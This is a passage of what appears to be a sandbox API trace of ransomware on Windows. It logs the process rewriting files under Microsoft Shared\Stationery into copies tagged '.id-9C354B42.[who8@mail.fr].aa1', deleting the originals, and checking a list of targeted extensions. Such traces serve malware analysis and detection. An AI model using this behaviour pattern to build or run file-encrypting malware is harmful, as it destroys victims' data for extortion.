shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.035] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.035] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.035] GetLastError () returned 0x0 [0215.035] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x285, lpOverlapped=0x0) returned 1 [0215.037] WriteFile (in: hFile=0x208, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x290, lpOverlapped=0x0) returned 1 [0215.038] ReadFile (in: hFile=0x178, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0215.038] WriteFile (in: hFile=0x208, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0215.038] SetEndOfFile (hFile=0x208) returned 1 [0215.038] CloseHandle (hObject=0x208) returned 1 [0215.039] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.039] SetEndOfFile (hFile=0x178) returned 1 [0215.039] CloseHandle (hObject=0x178) returned 1 [0215.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x26) returned 1 [0215.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0215.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.040] lstrlenW (lpString=".doc") returned 4 [0215.040] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0215.040] lstrlenW (lpString=".docx") returned 5 [0215.040] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0215.040] lstrlenW (lpString=".pdf") returned 4 [0215.040] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0215.040] lstrlenW (lpString=".xls") returned 4 [0215.040] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0215.040] lstrlenW (lpString=".xlsx") returned 5 [0215.040] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0215.040] lstrlenW (lpString=".ppt") returned 4 [0215.040] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString=".zip") returned 4 [0215.041] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0215.041] lstrlenW (lpString=".rar") returned 4 [0215.041] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0215.041] lstrlenW (lpString=".bz2") returned 4 [0215.041] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0215.041] lstrlenW (lpString=".7z") returned 3 [0215.041] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString=".dbf") returned 4 [0215.041] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString=".1cd") returned 4 [0215.041] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString=".jpg") returned 4 [0215.041] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.041] lstrlenW (lpString=".doc") returned 4 [0215.041] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0215.041] lstrlenW (lpString=".docx") returned 5 [0215.041] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0215.041] lstrlenW (lpString=".pdf") returned 4 [0215.041] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0215.041] lstrlenW (lpString=".xls") returned 4 [0215.041] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0215.042] lstrlenW (lpString=".xlsx") returned 5 [0215.042] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0215.042] lstrlenW (lpString=".ppt") returned 4 [0215.042] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0215.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.042] lstrlenW (lpString=".zip") returned 4 [0215.042] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0215.042] lstrlenW (lpString=".rar") returned 4 [0215.042] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0215.042] lstrlenW (lpString=".bz2") returned 4 [0215.042] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0215.042] lstrlenW (lpString=".7z") returned 3 [0215.042] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0215.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.042] lstrlenW (lpString=".dbf") returned 4 [0215.042] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0215.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.042] lstrlenW (lpString=".1cd") returned 4 [0215.042] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0215.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0215.042] lstrlenW (lpString=".jpg") returned 4 [0215.042] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0215.042] lstrcmpiW (lpString1=".emf", lpString2=".aa1") returned 1 [0215.042] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0215.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.043] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=3792) returned 1 [0215.043] CloseHandle (hObject=0x178) returned 1 [0215.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0215.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.043] lstrlenW (lpString=".doc") returned 4 [0215.043] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.043] lstrlenW (lpString=".docx") returned 5 [0215.043] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0215.043] lstrlenW (lpString=".pdf") returned 4 [0215.043] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.043] lstrlenW (lpString=".xls") returned 4 [0215.043] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.043] lstrlenW (lpString=".xlsx") returned 5 [0215.044] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0215.044] lstrlenW (lpString=".ppt") returned 4 [0215.044] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString=".zip") returned 4 [0215.044] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.044] lstrlenW (lpString=".rar") returned 4 [0215.044] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.044] lstrlenW (lpString=".bz2") returned 4 [0215.044] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.044] lstrlenW (lpString=".7z") returned 3 [0215.044] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString=".dbf") returned 4 [0215.044] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString=".1cd") returned 4 [0215.044] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString=".jpg") returned 4 [0215.044] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.044] lstrlenW (lpString=".doc") returned 4 [0215.044] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.044] lstrlenW (lpString=".docx") returned 5 [0215.044] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0215.045] lstrlenW (lpString=".pdf") returned 4 [0215.045] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.045] lstrlenW (lpString=".xls") returned 4 [0215.045] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.045] lstrlenW (lpString=".xlsx") returned 5 [0215.045] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0215.045] lstrlenW (lpString=".ppt") returned 4 [0215.045] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.045] lstrlenW (lpString=".zip") returned 4 [0215.045] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.045] lstrlenW (lpString=".rar") returned 4 [0215.045] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.045] lstrlenW (lpString=".bz2") returned 4 [0215.045] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.045] lstrlenW (lpString=".7z") returned 3 [0215.045] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.045] lstrlenW (lpString=".dbf") returned 4 [0215.045] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.045] lstrlenW (lpString=".1cd") returned 4 [0215.045] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0215.045] lstrlenW (lpString=".jpg") returned 4 [0215.045] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.046] lstrcmpiW (lpString1=".htm", lpString2=".aa1") returned 1 [0215.046] lstrlenW (lpString="Garden.htm") returned 10 [0215.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.046] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=231) returned 1 [0215.046] CloseHandle (hObject=0x178) returned 1 [0215.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0215.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.046] lstrlenW (lpString=".doc") returned 4 [0215.046] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0215.046] lstrlenW (lpString=".docx") returned 5 [0215.046] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0215.046] lstrlenW (lpString=".pdf") returned 4 [0215.047] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString=".xls") returned 4 [0215.047] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString=".xlsx") returned 5 [0215.047] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0215.047] lstrlenW (lpString=".ppt") returned 4 [0215.047] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString=".zip") returned 4 [0215.047] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString=".rar") returned 4 [0215.047] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString=".bz2") returned 4 [0215.047] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0215.047] lstrlenW (lpString=".7z") returned 3 [0215.047] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString=".dbf") returned 4 [0215.047] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString=".1cd") returned 4 [0215.047] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString=".jpg") returned 4 [0215.047] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.047] lstrlenW (lpString=".doc") returned 4 [0215.048] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0215.048] lstrlenW (lpString=".docx") returned 5 [0215.048] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0215.048] lstrlenW (lpString=".pdf") returned 4 [0215.048] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0215.048] lstrlenW (lpString=".xls") returned 4 [0215.048] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0215.048] lstrlenW (lpString=".xlsx") returned 5 [0215.048] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0215.048] lstrlenW (lpString=".ppt") returned 4 [0215.048] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.048] lstrlenW (lpString=".zip") returned 4 [0215.048] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0215.048] lstrlenW (lpString=".rar") returned 4 [0215.048] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0215.048] lstrlenW (lpString=".bz2") returned 4 [0215.048] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0215.048] lstrlenW (lpString=".7z") returned 3 [0215.048] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.048] lstrlenW (lpString=".dbf") returned 4 [0215.048] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.048] lstrlenW (lpString=".1cd") returned 4 [0215.048] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0215.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0215.048] lstrlenW (lpString=".jpg") returned 4 [0215.048] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0215.049] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0215.049] lstrlenW (lpString="Garden.jpg") returned 10 [0215.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.049] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=23871) returned 1 [0215.049] CloseHandle (hObject=0x178) returned 1 [0215.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0215.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.049] lstrlenW (lpString=".doc") returned 4 [0215.049] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0215.050] lstrlenW (lpString=".docx") returned 5 [0215.050] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0215.050] lstrlenW (lpString=".pdf") returned 4 [0215.050] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0215.050] lstrlenW (lpString=".xls") returned 4 [0215.050] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0215.050] lstrlenW (lpString=".xlsx") returned 5 [0215.050] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0215.050] lstrlenW (lpString=".ppt") returned 4 [0215.050] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0215.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.050] lstrlenW (lpString=".zip") returned 4 [0215.050] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0215.050] lstrlenW (lpString=".rar") returned 4 [0215.050] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0215.050] lstrlenW (lpString=".bz2") returned 4 [0215.050] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0215.050] lstrlenW (lpString=".7z") returned 3 [0215.050] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0215.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.050] lstrlenW (lpString=".dbf") returned 4 [0215.050] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0215.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.050] lstrlenW (lpString=".1cd") returned 4 [0215.050] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0215.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.050] lstrlenW (lpString=".jpg") returned 4 [0215.050] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0215.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.051] lstrlenW (lpString=".doc") returned 4 [0215.051] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0215.051] lstrlenW (lpString=".docx") returned 5 [0215.051] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0215.051] lstrlenW (lpString=".pdf") returned 4 [0215.051] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0215.051] lstrlenW (lpString=".xls") returned 4 [0215.051] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0215.051] lstrlenW (lpString=".xlsx") returned 5 [0215.051] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0215.051] lstrlenW (lpString=".ppt") returned 4 [0215.051] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0215.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.051] lstrlenW (lpString=".zip") returned 4 [0215.051] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0215.051] lstrlenW (lpString=".rar") returned 4 [0215.051] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0215.051] lstrlenW (lpString=".bz2") returned 4 [0215.051] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0215.052] lstrlenW (lpString=".7z") returned 3 [0215.052] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0215.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.052] lstrlenW (lpString=".dbf") returned 4 [0215.052] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0215.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.052] lstrlenW (lpString=".1cd") returned 4 [0215.052] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0215.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0215.052] lstrlenW (lpString=".jpg") returned 4 [0215.052] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0215.052] lstrcmpiW (lpString1=".emf", lpString2=".aa1") returned 1 [0215.053] lstrlenW (lpString="Genko_1.emf") returned 11 [0215.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.053] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=5524) returned 1 [0215.053] CloseHandle (hObject=0x178) returned 1 [0215.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0215.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.054] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.054] lstrlenW (lpString=".doc") returned 4 [0215.054] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.054] lstrlenW (lpString=".docx") returned 5 [0215.054] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0215.054] lstrlenW (lpString=".pdf") returned 4 [0215.054] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.054] lstrlenW (lpString=".xls") returned 4 [0215.054] lstrcmpiW (lpString1=".xls", 